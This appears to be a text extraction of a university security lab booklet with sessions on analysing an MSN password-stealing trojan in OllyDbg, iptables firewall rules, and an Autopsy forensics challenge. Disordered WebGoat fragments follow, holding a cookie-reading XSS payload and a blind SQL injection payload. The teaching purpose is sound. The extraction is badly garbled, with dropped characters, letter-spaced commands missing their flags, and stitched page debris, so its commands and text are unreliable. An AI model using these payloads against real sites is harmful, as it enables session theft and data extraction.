Now you can see the contents of the message that the trojan is mailing to the attacker. As highlighted on this slide, the message includes the victims Messenger username and password.
5.6
Code analysis
Behavioral analysis can be insightful and relatively fast. However, it will rarely tell you everything you need to know about malware of moderate and advanced
82
complexity. That is where code analysis can be of help. It can help reinforce your behavioral ndings, and can shine light on additional properties of the specimen that you may not have discovered behaviorally. Code analysis can be tricky and time-consuming, because in the world of malware you almost never have the luxury of seeing the source code of the program you are analysis. Instead, you need to reverse-engineer the compiled executables functionality by examining its code at the assembly level. A debugger and a disassembler can help you in this task. A disassembler converts the specimens instructions from their binary form into the human-readable assembly form. A debugger lets you step through the most interesting parts of the code, interacting with it and observing the eects of its instructions to understand their purpose. OllyDbg is one of the most well-known tools for performing code analysis. It is free, very powerful, and includes both a disassembler and a debugger. You can download OllyDbg from: http://www.ollydbg.de/ A good way to start analyzing the specimens code often involves looking at the strings embedded in its executable. To do this with OllyDbg, rst load the malicious executable into OllyDbg via File -> Open. Then, right-click on the code you will see in the disassembler window, and select Search for -> All referenced text strings. OllyDbg will then bring up a new window that will show the strings it discovered, as you can see on this slide. Notice that we have seen some of these strings during behavioral analysis! Some of them look like contents of the default msnsettings.dat le that our specimen creates when infecting the system.
The reason we may be interested in looking at the embedded strings is because the string listing might include a reference to a malicious characteristic or a behavioral trait that we would like to understand. In this case, consider the following screenshot. We got here by highlighting one of the instances of msnsettings.dat strings, if you press Enter, OllyDbg shows us how the program makes use of this string.
5.6. Code analysis
83
If we wanted to pursue this path of analysis further, we could now set a breakpoint on this command, run the trojan in the debugger, and see what it does. But, we are not going to investigate this particular aspect of the malicious program, because we will focus on another, more interesting technique. You may recall that the version of msnsetting.dat on the victims system was slightly dierent from the version that the trojan created on our laboratory system when we rst ran it. Specically, in our case, the le contained the string hello, while the victims version had the string test instead. Whats that about? The string test is not visible anywhere within the body of the malicious executable when its not running. Thats probably because the trojan loads this string from msnsettings.dat during run time. To understand how the trojan uses the string test, we will search for it in the memory of the running trojan. Once we locate the string in the trojans memory, we will set an access breakpoint there. A breakpoint is a condition that tells the debugger when to pause the normal execution of the debugged program. Once the execution is paused, the debugger will give us a chance to review the debugged programs run time environment to understand what it is doing. This is probably the most useful feature of a debugger in the context of reverse-engineering malware. To make use of this technique, load the malicious program into OllyDbg, then run it. Once the trojan is running, press Alt+M to bring up the memory map in OllyDbg. This shows the listing of the memory segments mapped and used by the currently-debugged executable. To search the executables memory for a particular string, press Ctrl+B in OllyDbg; then, enter your string. In this case, we will enter test in the ASCII eld of the dialog box. Then press Enter.
84
It is possible that your string will be located in several memory areas. The one you are interested in wont necessarily be the st one. To repeat your search, click on the memory map window, then press Ctrl+L. (Do not forget to click on the memory map window!)
In the case of our example, we will need to perform the initial search via Ctrl+B. This will nd us an instance of test that is not promising. We will repeat the search by pressing Ctrl+L once.
Now that we have located the string test in the trojans memory, we can set a breakpoint there. In this case we will be setting a memory access breakpoint, so that OllyDbg pauses the programs execution whenever it attempts to access this particular memory area. Eectively, this will allow us to catch the trojan while it is attempting to use the test string; we will then be able to see how it makes use of the string.
To set the breakpoint, highlight the exact characters of the string test, then right-click and click Breakpoint -> Memory, on access.
5.6. Code analysis
85
The trojan will continue to run. Now we can either wait for it to try using the sting, or attempt interacting with the program to try to cause it to use the string. We can try interacting with the trojan by typing some text into its rst eld, the one labeled E- mail address. If you type any character there after setting our memory breakpoint, you will immediately trigger the breakpoint, as you can see on the next gure.
Ww entered a character into the eld (picked a letter at random: g). Right away, OllyDbg comes to the foreground, because we just triggered an attempt by the trojan to somehow use the string test. You can now interact with the code, looking at its environment, and even running it as slowly as one instruction at a time. To execute one instruction, press F8. To examine the run-time environment of the program, look at its registers in the top right corner of the OllyDbg window. A
86
register is a specialized location on the CPU that can store data and that is very fast. What is going on in this part of the code? Dont worry if you do not understand much of the assembly code you see there: this is just an introduction to malware analysis, so we will walk you through the most important parts. OllyDbg has highlighted the instruction that will be executed next by the program, CMP CL, BL. This compares contents of two registers, CL and BL. CL points to the lowest byte of ECX; BL points to the lowest byte of EBX, so it is an ecient way of comparing parts of ECX and EBX registers. Double-click the registers to see their contents. ECX contains the character we entered, g. EBX contains the string that our input is being compared to, test (it is stored backwards). Press F9 to continue executing the trojan. Delete the g character you have entered previously. This time, let the program match the rst character of the test string, and see how it compares the second character. To do this, enter ta in the E- mail address box. If you keep triggering the breakpoint, press F9 to continue. You want to pause right after you have had a chance to type ta. Press F8 to execute one instruction after you have triggered the breakpoint, just like you did previously. This time, if you look at contents of ECX and EBX registers, you will notice that the trojan is comparing the character a that we entered to the character e that it seems to expect. That is because the CH register points to the second lowest byte of ECX; the BH register points to the second lowest byte of EBX.
So, the trojan seems to be looking for the string test in the E-mail address eld. Exit the debugger, launch the trojan by itself, and enter test to see what happens.
5.6. Code analysis
87
Voila! When you enter test, the trojan brings you to a brand new screen that seems to allow you to congure the trojans operation. As you can see on this slide, the conguration options let you dene the passphrase to activate this string, the address where the trojan will send captured logon credentials, etc.
Session 6
IPTables
Contents
6.1 6.2 6.3 6.4 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . General iptables Description . . . . . . . . . . . . . . . . . . . Tables and Chains description . . . . . . . . . . . . . . . . . . Iptables commands . . . . . . . . . . . . . . . . . . . . . . . . 6.4.1 6.4.2 6.4.3 6.4.4 6.4.5 6.5 6.5.1 6.5.2 Allowing Established Sessions . . . . . . . . . . . . . . . . . . Allowing Incoming Trac on Specic Ports . . . . . . . . . . Blocking Trac . . . . . . . . . . . . . . . . . . . . . . . . . . Editing iptables . . . . . . . . . . . . . . . . . . . . . . . . . . Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Rules without considering the package state . . . . . . . . . . Rules considering the package state . . . . . . . . . . . . . . . 85 85 85 88 89 90 91 91 92 92 92 93
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1
Objective
iptables is the userspace command line program used to congure the Linux 2.4.x and 2.6.x IPv4 packet ltering ruleset. It is targeted towards system administrators. Since Network Address Translation is also congured from the packet lter ruleset, iptables is used for this, too. The objective of this session is to familiarize with the basic terminal commands of iptables.
6.2
General iptables Description
When a packet rst enters the rewall, it hits the hardware and then gets passed on to the proper device driver in the kernel. Then the packet starts to go through a series of steps in the kernel, before it is either sent to the correct application (locally), or forwarded to another host - or whatever happens to it. Figure 6.1 illustrates these steps. To clarify Figure 6.1, consider this. If we get a packet into the rst routing decision that is not destined for the local machine itself, it will be routed through
90
Session 6. IPTables
Figure 6.1: Graphical representation of the iptables states.
6.3. Tables and Chains description
91
the FORWARD chain. If the packet is, on the other hand, destined for an IP address that the local machine is listening to, we would send the packet through the INPUT chain and to the local machine. Also worth a note, is the fact that packets may be destined for the local machine, but the destination address may be changed within the PREROUTING chain by doing NAT. Since this takes place before the rst routing decision, the packet will be looked upon after this change. Because of this, the routing may be changed before the routing decision is done. Do note, that all packets will be going through one or the other path in this image. If you DNAT a packet back to the same network that it came from, it will still travel through the rest of the chains until it is back out on the network.
6.3
Tables and Chains description
As you have observed in the Figure 6.1, iptables is organized in tables and chains, each one having a concrete propose. Following, we provide a brief description about the usage of each table and chain: NAT table The nat table is used mainly for Network Address Translation. "NAT"ed packets get their IP addresses altered, according to our rules. Packets in a stream only traverse this table once. We assume that the rst packet of a stream is allowed. The rest of the packets in the same stream are automatically "NAT"ed or Masqueraded etc, and will be subject to the same actions as the rst packet. These will, in other words, not go through this table again, but will nevertheless be treated like the rst packet in the stream. This is the main reason why you should not do any ltering in this table, which we will discuss at greater length further on. The PREROUTING chain is used to alter packets as soon as they get in to the rewall. The OUTPUT chain is used for altering locally generated packets (i.e., on the rewall) before they get to the routing decision. Finally we have the POSTROUTING chain which is used to alter packets just as they are about to leave the rewall. Mangle table This table is used mainly for mangling packets. Among other things, we can change the contents of dierent packets and that of their headers. Examples of this would be to change the TTL, TOS or MARK. Note that the MARK is not really a change to the packet, but a mark value for the packet is set in kernel space. Other rules or programs might use this mark further along in the rewall to lter or do advanced routing on; tc is one example. The table consists of ve built in chains, the PREROUTING, POSTROUTING, OUTPUT, INPUT and FORWARD chains. PREROUTING is used for altering packets just as they enter the rewall and before they hit the routing decision. POSTROUTING is used to mangle packets just after all routing decisions have been made. OUTPUT is used for altering locally generated packets after they enter the routing decision. INPUT is used to alter pack-
92
Session 6. IPTables ets after they have been routed to the local computer itself, but before the user space application actually sees the data. FORWARD is used to mangle packets after they have hit the rst routing decision, but before they actually hit the last routing decision. Note that mangle cant be used for any kind of Network Address Translation or Masquerading, the nat table was made for these kinds of operations.
Raw table The raw table and its chains are used before any other tables in netlter. It was introduced to use the NOTRACK target. This table is rather new and is only available, if compiled, with late 2.6 kernels and later. The raw table contains two chains. The PREROUTING and OUTPUT chain, where they will handle packets before they hit any of the other netlter subsystems. The PREROUTING chain can be used for all incoming packets to this machine, or that are forwarded, while the OUTPUT chain can be used to alter the locally generated packets before they hit any of the other netlter subsystems. Filter table The lter table should be used exclusively for ltering packets. For example, we could DROP, LOG, ACCEPT or REJECT packets without problems, as we can in the other tables. There are three chains built in to this table. The rst one is named FORWARD and is used on all non-locally generated packets that are not destined for our local host (the rewall, in other words). INPUT is used on all packets that are destined for our local host (the rewall) and OUTPUT is nally used for all locally generated packets.
6.4
Typing
Iptables commands
i p t a b l e s L lists your current rules in iptables. If you have just set up your server, you will have no rules, and you should see Chain INPUT ( p o l i c y ACCEPT) target p r o t opt s o u r c e Chain FORWARD ( p o l i c y ACCEPT) target p r o t opt s o u r c e Chain OUTPUT ( p o l i c y ACCEPT) target p r o t opt s o u r c e destination
destination
destination
Here are explanations for some of the iptables options you will see in this session. Dont worry about understanding everything here now, but remember to come back and look at this list as you encounter new options later on.
6.4. Iptables commands
93
-A Append this rule to a rule chain. Valid chains for what were doing are INPUT, FORWARD and OUTPUT, but we mostly deal with INPUT in this tutorial, which aects only incoming trac. -L List the current lter rules. -m conntrack Allow lter rules to match based on connection state. Permits the use of the ctstate option. ctstate Dene the list of states for the rule to match on. Valid states are: NEW - The connection has not yet been seen. RELATED - The connection is new, but is related to another connection already permitted. ESTABLISHED - The connection is already established. INVALID - The trac couldnt be identied for some reason. -m limit Require the rule to match only a limited number of times. Allows the use of the limit option. Useful for limiting logging rules. limit - The maximum matching rate, given as a number followed by "/second", "/minute", "/hour", or "/day" depending on how often you want the rule to match. If this option is not used and -m limit is used, the default is "3/hour". -p The connection protocol used. dport The destination port(s) required for this rule. A single port may be given, or a range may be given as start:end, which will match all ports from start to end, inclusive. -j Jump to the specied target. By default, iptables allows four targets: ACCEPT - Accept the packet and stop processing rules in this chain. REJECT - Reject the packet and notify the sender that we did so, and stop processing rules in this chain. DROP - Silently ignore the packet, and stop processing rules in this chain. LOG - Log the packet, and continue processing more rules in this chain. Allows the use of the log-prex and log-level options. log-prex When logging, put this text before the log message. Use double quotes around the text to use. log-level Log using the specied syslog level. 7 is a good choice unless you specifically need something else. -i Only match if the packet is coming in on the specied interface.
94
Session 6. IPTables
-I Inserts a rule. Takes two options, the chain to insert the rule into, and the rule number it should be. -I INPUT 5 would insert the rule into the INPUT chain and make it the 5th rule in the list. -v Display more information in the output. Useful for if you have rules that look similar without using -v. -s source address[/mask] source specication -d destination address[/mask] destination specication -o out-interface output name[+] network interface name ([+] for wildcard)
6.4.1
Allowing Established Sessions
We can allow established sessions to receive trac: i p t a b l e s A INPUT m c o n n t r a c k c t s t a t e ESTABLISHED,RELATED j ACCEPT The above rule has no spaces either side of the comma in ESTABLISHED,RELATED If the line above doesnt work, you may be on a VPS that uses OpenVZ or doesnt have some kernel extensions installed. In that case, try this line instead: i p t a b l e s A INPUT m s t a t e s t a t e ESTABLISHED,RELATED j ACCEPT
6.4.2
Allowing Incoming Trac on Specic Ports
You could start by blocking trac, but you might be working over SSH, where you would need to allow SSH before blocking everything else. To allow incoming trac on the default SSH port (22), you could tell iptables to allow all TCP trac on that port to come in. i p t a b l e s A INPUT p t c p d p o r t s s h j ACCEPT Referring back to the list above, you can see that this tells iptables: append this rule to the input chain (-A INPUT) so we look at incoming trac check to see if it is TCP (-p tcp). if so, check to see if the input goes to the SSH port (dport ssh). if so, accept the input (-j ACCEPT). Lets check the rules: (only the rst few lines shown, you will see more)
6.4. Iptables commands
95
i p t a b l e s L Chain INPUT ( p o l i c y target p r o t opt ACCEPT a l l anywhere ACCEPT t c p anywhere
ACCEPT) source destination anywhere s t a t e RELATED, ESTABLISHED anywhere t c p dpt : s s h
Now, lets allow all incoming web trac i p t a b l e s A INPUT p t c p d p o r t 80 j ACCEPT Checking our rules, we have i p t a b l e s L Chain INPUT ( p o l i c y target p r o t opt ACCEPT a l l anywhere ACCEPT t c p anywhere ACCEPT t c p anywhere ACCEPT) source destination anywhere s t a t e RELATED, ESTABLISHED anywhere t c p dpt : s s h anywhere t c p dpt :www
We have specically allowed tcp trac to the ssh and web ports, but as we have not blocked anything, all trac can still come in
6.4.3
Blocking Trac
Once a decision is made to accept a packet, no more rules aect it. As our rules allowing ssh and web trac come rst, as long as our rule to block all trac comes after them, we can still accept the trac we want. All we need to do is put the rule to block all trac at the end. i p t a b l e s A INPUT j DROP i p t a b l e s L Chain INPUT ( p o l i c y ACCEPT) target p r o t opt s o u r c e destination ACCEPT a l l anywhere anywhere s t a t e RELATED, ESTABLISHED ACCEPT t c p anywhere anywhere t c p dpt : s s h ACCEPT t c p anywhere anywhere t c p dpt :www DROP a l l anywhere anywhere
96
Session 6. IPTables
Because we didnt specify an interface or a protocol, any trac for any port on any interface is blocked, except for web and ssh.
6.4.4
Editing iptables
The only problem with our setup so far is that even the loopback port is blocked. We could have written the drop rule for just eth0 by specifying -i eth0, but we could also add a rule for the loopback. If we append this rule, it will come too late - after all the trac has been dropped. We need to insert this rule before that. Since this is a lot of trac, well insert it as the rst rule so its processed rst. i p t a b l e s I INPUT 1 i p t a b l e s L Chain INPUT ( p o l i c y target p r o t opt ACCEPT a l l ACCEPT a l l anywhere ACCEPT t c p anywhere ACCEPT t c p anywhere DROP a l l i l o j ACCEPT ACCEPT) source destination anywhere anywhere anywhere s t a t e RELATED, ESTABLISHED anywhere t c p dpt : s s h anywhere t c p dpt :www anywhere anywhere
The rst and last lines look nearly the same, so we will list iptables in greater detail. i p t a b l e s L v Chain INPUT ( p o l i c y ACCEPT 0 p a c k e t s , 0 b y t e s ) pkts bytes t a r g e t p r o t opt i n out source destination 0 0 ACCEPT a l l l o any anywhere anywhere 0 0 ACCEPT a l l any any anywhere anywhere s t a t e RELATED, ESTABLISHED 0 0 ACCEPT t c p any any anywhere anywhere t c p dpt : s s h 0 0 ACCEPT t c p any any anywhere anywhere t c p dpt :www 0 0 DROP a l l any any anywhere anywhere You can now see a lot more information. This rule is actually very important, since many programs use the loopback interface to communicate with each other.
6.5. Exercises If you dont allow them to talk, you could break those programs!
97
6.4.5
Logging
In the above examples none of the trac will be logged. If you would like to log dropped packets to syslog, this would be the quickest way: i p t a b l e s I INPUT 5 m l i m i t l i m i t 5/ min j LOG l o g p r e f i x " i p t a b l e s d e n i e d : " l o g l e v e l 7
6.5
6.5.1
Exercises
Rules without considering the package state
1. Show the active iptables rules 2. Change the default police of the OUTPUT chain to DROP 3. Create a rule for access to the web www.upc.edu. Note that, you need the DNS service (see /etc/resolv.conf) to nd the corresponding IP address. 4. Imagine that the child of a friend is becoming a very good hacker because he visits quite often web pages like www.metasploit.com. Your friend wants to be permissive with his child but as a good father he wants to know what the child is doing. Write down a rule to log the connections to www.metasploit.com 5. Now, change all the default polices to DROP. Can you access to the previous web sites (www.upc.edu and www.metasploit)? Why? 6. Add the corresponding iptables rules to access to the previous sites but maintaining the default DROP police of the INPUT and OUTPUT chains.
6.5.2
Rules considering the package state
1. Repeat the previous rewall conguration taking into account that iptables is able to lter packets considering their session state. In this way it is possible to secure even more our communications. Remember that the rewall has to be congured in the following way: Default chain polices: DROP Allow connections to: www.upc.edu and www.metasploit.com Allow to solve DNS requests.
Session 7
Forensic analysis
Contents
7.1 7.2 7.3 7.4 7.5 Objetives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Requisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Lab description . . . . . . . . . . . . . . . . . . . . . . . . . . . Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Autopsy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.5.1 7.5.2 7.5.3 7.5.4 7.6 7.7 Evidence Search Techniques . . . . . . . . . . . . . . . . . . . Case Management . . . . . . . . . . . . . . . . . . . . . . . . Case Creation in a Nutshell . . . . . . . . . . . . . . . . . . . Useful Autopsy Views . . . . . . . . . . . . . . . . . . . . . . 95 95 95 96 96 97 98 98 99 99 99
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Joe Jacobs police report . . . . . . . . . . . . . . . . . . . . .
7.1
Objetives
Students will learn the basic procedures and methodologies that must be taken into account when performing a forensics analysis. It is also expected that after the lab you will increase your understanding of the forensics tools and applications needed to solve most of the security incidents where a digital evidence is involved.
7.2
Requisites
1. Download the class notes regarding Forensics. 2. Start Ubuntu OS. 3. Install autopsy: sudo bash g e d i t / e t c / apt / s o u r c e s . l i s t < add u n i v e r s e p a c k a g e s apt g e t update apt g e t i n s t a l l autopsy
100
Session 7. Forensic analysis
4. Execute autopsy in background and open the autopsy url in the browser 5. Download the image.zip le of the http://raco.b.upc.edu 6. mount the image.zip le: sudo bash u n z i p image . z i p mount o l o o p image /mnt
7.3
Lab description
The following lab was taken adapted the honeynet project, a non prot organization committed to raise awareness of the threats and vulnerabilities that exist in the Internet today. One of the most known actions of the honeynet project were the scan oh the month challenges, the purpose of which was to help the security community develop the forensic and analysis skills to decode real attacks. In this lab we will go through scan of the month 241 . Here is the challenge description: Your mission is to analyze a recovered oppy and answer the questions below. What makes this challenge unique, you will need to read the police report before continuing your challenge. Just like an investigation in the real world, you will have some background information and some evidence, but its up to you and your technical skills to dig up the answers. In the raco is the dd image of the recovered oppy. This is the image that will provide you the answers, providing you can extract the data.
7.4
Goals
You are requested to answer the following questions before to answer the minitest. 1. Who is Joe Jacobs supplier of marijuana and what is the address listed for the supplier? 2. What crucial data is available within the coverpage.jpg le and why is this data crucial? 3. What (if any) other high schools besides Smith Hill does Joe Jacobs frequent? 4. For each le, what processes were taken by the suspect to mask them from others? 5. What processes did you (the investigator) use to successfully examine the entire contents of each le?
1
http://old.honeynet.org/scans/scan24/
7.5. Autopsy
101
7.5
Autopsy
The Autopsy Forensic Browser is a graphical interface to the command line digital investigation analysis tools in The Sleuth Kit. Together, they can analyze Windows and UNIX disks and le systems (NTFS, FAT, UFS1/2, Ext2/3). Autopsy is HTML-based, then you can connect to the Autopsy server from any platform using an HTML browser (http://localhost:9999/autopsy). Autopsy provides a "File Manager"-like interface and shows details about deleted data and le system structures.
7.5.1
Evidence Search Techniques
File Listing: Analyze the les and directories, including the names of deleted les and les with Unicode-based names. File Content: The contents of les can be viewed in raw, hex, or the ASCII strings can be extracted. When data is interpreted, Autopsy sanitizes it to prevent damage to the local analysis system. Autopsy does not use any clientside scripting languages. Hash Databases: Lookup unknown les in a hash database to quickly identify it as good or bad. Autopsy uses the NIST National Software Reference Library (NSRL) and user created databases of known good and known bad les. File Type Sorting: Sort the les based on their internal signatures to identify les of a known type. Autopsy can also extract only graphic images (including thumbnails). The extension of the le will also be compared to the le type to identify les that may have had their extension changed to hide them. Timeline of File Activity: In some cases, having a timeline of le activity can help identify areas of a le system that may contain evidence. Autopsy can create timelines that contain entries for the Modied, Access, and Change (MAC) times of both allocated and unallocated les. Keyword Search: Keyword searches of the le system image can be performed using ASCII strings and grep regular expressions. Searches can be performed on either the full le system image or just the unallocated space. An index le can be created for faster searches. Strings that are frequently searched for can be easily congured into Autopsy for automated searching. Meta Data Analysis: Meta Data structures contain the details about les and directories. Autopsy allows you to view the details of any meta data structure in the le system. This is useful for recovering deleted content. Autopsy will search the directories to identify the full path of the le that has allocated the structure.
102
Data Unit Analysis: Data Units are where the le content is stored. Autopsy allows you to view the contents of any data unit in a variety of formats including ASCII, hexdump, and strings. The le type is also given and Autopsy will search the meta data structures to identify which has allocated the data unit. Image Details: File system details can be viewed, including on-disk layout and times of activity. This mode provides information that is useful during data recovery.
7.5.2
Case Management
Case Management: Investigations are organized by cases, which can contain one or more hosts. Each host is congured to have its own time zone setting and clock skew so that the times shown are the same as the original user would have seen. Each host can contain one or more le system images to analyze. Event Sequencer: Time-based events can be added from le activity or IDS and rewall logs. Autopsy sorts the events so that the sequence of incident events can be more easily determined. Notes: Notes can be saved on a per-host and per-investigator basis. These allow you to make quick notes about les and structures. The original location can be easily recalled with the click of a button when the notes are later reviewed. All notes are stored in an ASCII le. Image Integrity: It is crucial to ensure that les are not modied during analysis. Autopsy, by default, will generate an MD5 value for all les that are imported or created. The integrity of any le that Autopsy uses can be validated at any time. Reports: Autopsy can create ASCII reports for les and other le system structures. This enables you to quickly make consistent data sheets during the investigation. Logging: Audit logs are created on a case, host, and investigator level so that actions can be easily recalled. The exact Sleuth Kit commands that are executed are also logged. Open Design: The code of Autopsy is open source and all les that it uses are in a raw format. All conguration les are in ASCII text and cases are organized by directories. This makes it easy to export the data and archive it. It also does not restrict you from using other tools that may solve the specic problem more appropriately. Client Server Model: Autopsy is HTML-based and therefore you do not have to be on the same system as the le system images. This allows multiple investigators to use the same server and connect from their personal systems.
7.6. References
103
7.5.3
Case Creation in a Nutshell
Before to start to use the autopsy browser, we have to set up some congurations: 1. Open a new case: it is necessary to provide a case and investigators names 2. Add a new host: it is necessary to provide a host name 3. Add an image: it is necessary to provide the complete location of the recovered oppy disk image. The importation has to be done as partition and Symlink. You can ignore the MD5 checking.
7.5.4
Useful Autopsy Views
Here, we provide you some hints to make your life easier with autopsy: 1. Show the le content of the disk: to see the complete content of the diskette go to analyze -> le analysis. Here you can access to the complete le metadata information of each le. 2. Show the le allocation disk: to see the allocated sectors of the image le you can go to analyze -> data unit -> Allocation list 3. Export some data sector into a new le: go to analyze -> data unit -> select the initial data sector and the number of sectors you want to export, then click view -> export
7.6
References
FAT12, http : //www.f orensicswiki.org/wiki/F AT Magic N umbers, http : //en.wikipedia.org/wiki/F ile_f ormat#M agic_number Autopsy, http : //www.sleuthkit.org/autopsy/ HEXDUMP, http : //codeidol.com/security/anti hacker tool kit/Generalized Editors and V iewers/HEXDU M P/
7.7
Joe Jacobs police report
The scenario is: Joe Jacobs, 28, was arrested yesterday on charges of selling illegal drugs to high school students. A local police ocer posed as a high school student was approached by Jacobs in the parking lot of Smith Hill High School. Jacobs asked the undercover cop if he would like to buy some marijuana. Before the undercover cop could answer, Jacobs pulled some out of his pocket and showed it to the ocer. Jacobs said to the ocer Look at this stu, Colombians couldnt grow it better! My supplier not only sells it direct to me, he grows it himself.
104
Jacobs has been seen on numerous occasions hanging out at various local high school parking lots around 2:30pm, the time school usually ends for the day. School ocials from multiple high schools have called the police regarding Jacobs presence at their school and noted an increase in drug use among students, since his arrival. The police need your help. They want to try and determine if Joe Jacobs has been selling drugs to students at other schools besides Smith Hill. The problem is no students will come forward and help the police. Based on Joes comment regarding the Colombians, the police are interested in nding Joe Jacobs supplier/producer of marijuana. Jacobs has denied selling drugs at any other school besides Smith Hill and refuses to provide the police with the name of his drug supplier/producer. Jacobs also refuses to validate the statement that he made to the undercover ocer right before his arrest. Upon issuing a search warrant and searching of the suspects house the police were able to obtain a small amount of marijuana. The police also seized a single oppy disk, but no computer and/or other media was present in the house. The police have imaged the suspects oppy disk and have provided you with a copy. They would like you to examine the oppy disk and provide answers to the following questions. The police would like you to pay special attention to any information that might prove that Joe Jacobs was in fact selling drugs at other high schools besides Smith Hill. They would also like you to try and determine if possible who Joe Jacobs supplier is. Jacobs posted bail set at $10,000.00. Afraid he may skip town, the police would like to get him locked up as soon as possible. To do so, the police have asked that you have the results fully completed and submitted by October 25, 2002. Please provide the police with a strong case consisting of your specic ndings related to the questions, where the ndings are located on the disk, processes and techniques used, and any actions that the suspect may have taken to intentionally delete, hide and/or alter data on the oppy disk. Good Luck! Any names, locations, and situations presented are completely made up. Any resemblance to any name, locations and/or situation is purely coincidence.
7.7. Joe Jacobs police report
105

Lab Booklet

Hochgeladen von

Dokumentinformationen

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

Lab Booklet

Hochgeladen von

Copyright:

Verfügbare Formate

Department of Computer Architecture (DAC) Universitat Politcnica de Catalunya (UPC) Security in Information Systems (SSI)

Manuel Garca-Cervign and Jordi Nin

Contents 7.6 7.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Joe Jacobs police report . . . . . . . . . . . . . . . . . . . . . . . . .

Vulnerabilities in web applications

Session 1. Vulnerabilities in web applications

Start the LiveCD

1.2. Start the LiveCD

Session 1. Vulnerabilities in web applications 3. Start WebGoat application:

Start the application on port 8080 #sudo . / webgoat . sh s t a r t 8 0 8 0

Session 1. Vulnerabilities in web applications

Go to WebScarab and click Intercept Requests inside Manual Edit:

e-mail not validated

Session 1. Vulnerabilities in web applications Type a malicious script like

Avoid validations on the client side

Session 1. Vulnerabilities in web applications

Session administration and authentication

Session 1. Vulnerabilities in web applications

Session 1. Vulnerabilities in web applications

You can now see a page that is greeting user alice.

Cross Site Scripting

><s c r i p t >a l e r t ( " S t o l e n s e s s i o n " + document . c o o k i e )</ s c r i p t >

Click on UpdateProle and then Logout.

Session 1. Vulnerabilities in web applications

What if we type two quotes without any value?

Session 1. Vulnerabilities in web applications

Vulnerabilities in web applications II

Session 2. Vulnerabilities in web applications II

by <i n p u t v a l u e = A c t i v a t e ! name=SUBMIT type =SUBMIT>

Disable the response interception of WebScarab and click on Accept Changes.

2.3. Security in AJAX II

Session 2. Vulnerabilities in web applications II

2.3. Security in AJAX II

Click on Submit Solution to go to the next stage

Session 2. Vulnerabilities in web applications II

On this stage we nee to build a fake login form.

2.3. Security in AJAX II

Session 2. Vulnerabilities in web applications II

2.4. Defects on authentication

Session 2. Vulnerabilities in web applications II

Click on Base64 decode to decode the value

2.4. Defects on authentication

Session 2. Vulnerabilities in web applications II

2.4. Defects on authentication

Session 2. Vulnerabilities in web applications II

2.4. Defects on authentication

Session 2. Vulnerabilities in web applications II

We have been able to access the application as before.

2.5. Cross Site Scripting

We nally have authenticated as user basic and passed the lesson.

Cross Site Scripting

Session 2. Vulnerabilities in web applications II

2.5. Cross Site Scripting

We have then completed the lesson.

Session 2. Vulnerabilities in web applications II

2.6. SQL Injection

Session 2. Vulnerabilities in web applications II

We can replace < or > by = to be more accurate

101 AND ( ASCII ( s u b s t r ( (SELECT name FROM p i n s where cc_number = 4 3 2 1 4 3 2 1 4 3 2 1 4 3 2 1 ) , 1 , 1 ) ) = 7 4 )

2.6. SQL Injection

p i n s where p i n s where p i n s where p i n s where

and transforming the ascii codes:

Session 2. Vulnerabilities in web applications II

We will obtain the name Jill, lets try:

We have completed the lesson.